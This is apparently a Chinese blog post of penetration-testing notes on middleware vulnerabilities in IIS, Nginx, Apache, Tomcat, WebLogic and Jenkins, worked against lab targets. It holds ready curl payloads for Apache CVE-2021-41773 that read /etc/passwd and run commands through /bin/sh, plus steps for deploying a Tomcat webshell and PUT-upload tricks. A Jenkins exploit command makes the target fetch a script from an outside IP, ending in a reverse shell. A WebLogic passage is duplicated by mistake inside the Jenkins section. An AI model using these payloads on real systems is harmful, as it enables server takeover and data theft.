中间件安全

IIS

IIS短文件漏洞

此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

利用工具

https://github.com/irsdl/IIS-ShortName-Scanner

https://github.com/lijiejie/IIS_shortname_Scanner

IIS文件解析漏洞

IIS 6 解析漏洞

  1. 该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析

  2. 该版本默认会将*.asp/目录下的所有文件当成Asp解析

    如:logo.asp;.jpg xx.asp/logo.jpg

IIS 7.x 解析漏洞

  1. 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件
  2. 应用场景:配合文件上传获取Webshell

Nginx

DNS解析漏洞(cve-2021-23017)

受影响版本:0.6.18-1.20.0

**poc地址:**https://github.com/M507/CVE-2021-23017-PoC

复现失败

文件名逻辑漏洞(cve-2013-4547)

受影响版本:0.8.41 ~ 1.4.3 /1.5.0 ~ 1.5.7

\0也就是c语言的结束符的意思,之后我们的通过我们的\0将这个文件名截断成我们的fastcgi认为他到1.gif就结束了,之后对上传的文件进行检查,发现他没有以php结尾,就将这个文件上传上去,然后我们的php-fpm.conf的安全后缀策略(security.limit_extensions = )是空的,之后他就会执行我们上传的1.gif \0.php文件。

测试

测试

成功

解析漏洞(配置不当)

我们在配置php.ini的时候,开启了我们的自动修复路径(cgi.fix_pathinfo=1),也就是我们访问http://127.0.0.1/test.jpg/test.php,由于没有test.php这个文件我们服务器会自动到上一个路径,发现有test.jpg于是就自己执行了这个文件,但是由于我们在配置php-fpm.conf的安全后缀策略(security.limit_extensions = jpg php )为空或者就只有jpg和php,我们的服务就会执行jpg和php,我们的test.jpg里面就是我们的恶意的php代码,之后通过解析为php文件就导致了我们执行该文件,从而产生了我们的漏洞。

假如下图是上传了包含<?phpinfo();?>的图片

在后面添加/.php后缀,就会被解析为php

Apache

目录穿越&命令执行(cve-2021-41773)

版本影响:2.4.49、2.4.50

可见靶场的apache版本满足漏洞版本

目录穿越

curl -v --path-as-is http://ip:port/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

RCE

curl --data "echo;id" http://ip:port/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

文件解析(cve-2017-15715)

版本影响:2.4.0-2.4.29

上传成功

Tomcat

弱口令getshell

影响版本:全版本

弱口令部署war包getshell

点击【manager app】弹出后台登录框

抓包爆破

标记加密的位置

选择自定义迭代器

位置一填用户名

位置二填:

位置三填密码

payload处理选择base64加密

爆破成功

用户名:tomcat 密码:qwe123

登录成功

生成jsp一句话木马

将jsp木马zip压缩后更改后缀为war 生成war包

部署war包

链接成功

文件上传(cve-2017-12615)

影响版本:7.0.0-7.0.81

使用PUT方法请求 将木马放入数据内,即可上传

三种构造url方式:

PUT /x.jsp/

PUT /x.jsp%20

PUT /x.jsp::$DATA

前两种针对linux 第三种针对windows

返回201即是上传成功

文件包含(cve-2020-1938)

影响版本:6.* 、7.*<7.0.100、8.*<8.5.51、9.*<9.0.31

工具:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

读取WEB-INF/web.xml文件

Weblogic

默认端口:7001

weblogic由于有很多漏洞,所以直接梭哈

工具地址:https://github.com/KimJun1010/WeblogicTool

Jenkins

默认端口:8080

Jenkins-CI远程代码执行(cve-2017-1000353)

影响版本:Jenkins <= 2.56 Jenkins LTS <= 2.46.1

默认端口:7001

weblogic由于有很多漏洞,所以直接梭哈

工具地址:https://github.com/KimJun1010/WeblogicTool

再使用python的exp执行

shell反弹成功

远程命令执行(cve-2018-1000861)

影响版本:Jenkins <= 2.153 Jenkins LTS <= 2.138.3

工具下载:https://github.com/orangetw/awesome-jenkins-rce-2019

先将反弹shell的命令放在自己公网服务器上

python2 exp.py http://123.58.224.8:31731 "curl -o /tmp/1.sh http://117.72.120.22/qdy.txt"

可以看见qdy.txt文件被目标服务器请求了

执行反弹shell命令

成功接收shell

相关推荐
zqmattack5 分钟前
代码安全规范1.1
安全
mooyuan天天33 分钟前
pikachu靶场通关笔记15 CSRF关卡01-CSRF(GET)
web安全·csrf·pikachu靶场·csrf漏洞
Blossom.1181 小时前
使用Python和OpenCV实现图像识别与目标检测
人工智能·python·神经网络·opencv·安全·目标检测·机器学习
2501_916007471 小时前
绕过 Xcode?使用 Appuploader和主流工具实现 iOS 上架自动化
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_916013741 小时前
使用 Windows 完成 iOS 应用上架:Appuploader对比其他证书与上传方案
websocket·网络协议·tcp/ip·http·网络安全·https·udp
shenyan~2 小时前
关于Web安全:8. Web 攻击流量分析与自动化
网络·web安全·自动化
网硕互联的小客服2 小时前
如何防止服务器被用于僵尸网络(Botnet)攻击 ?
网络·网络安全·ddos
mooyuan天天2 小时前
pikachu靶场通关笔记16 CSRF关卡02-CSRF(POST)
web安全·csrf·pikachu靶场·csrf漏洞
电报号dapp1193 小时前
加密货币钱包开发指南:多链资产管理与非托管安全范式
安全·web3·去中心化·区块链·智能合约
NoneCoder3 小时前
Redux 实践与中间件应用
前端·react.js·中间件·面试